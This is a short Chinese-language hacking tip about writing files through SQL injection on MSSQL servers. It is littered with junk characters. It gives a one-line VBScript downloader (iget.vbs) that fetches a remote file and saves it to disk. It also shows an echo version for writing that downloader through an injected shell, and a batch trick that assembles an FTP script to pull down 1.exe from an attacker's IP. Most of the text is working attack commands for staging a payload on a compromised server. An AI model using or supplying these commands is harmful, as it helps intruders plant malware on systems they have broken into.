mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
3 I1 F# Q# A$ w% N. j' W1.iget.vbs一次写入
* ~. U, S  G# }7 F' B在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
: F0 c5 R6 k! P
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

( W# w0 j  q6 s& @" k! D( i这样我们可以一次echo成功,echo版本:
/ j, g6 }6 d- k
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs

8 S5 j2 K4 U$ V8 `8 @' T
2.bat调用ftp脚本的写法(by envymask)
  H+ u) i! i1 i1 k0 C; n7 k
3 w0 j1 [7 a+ Iecho ftp&gt;1.vbs
echo open ip&gt;2.vbs
echo u&gt;3.vbs
) K6 u1 m% k. q7 _( X' F  R, Zecho s&gt;4.vbs
echo binary&gt;5.vbs
echo get 1.exe&gt;6.vbs
% f- ], b; S. l- e0 O( j/ n+ ?) Cecho bay&gt;7.vbs

) L' u1 Y% ~* E4 G5 d9 Tcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
( \* i9 U& x, c) x</P>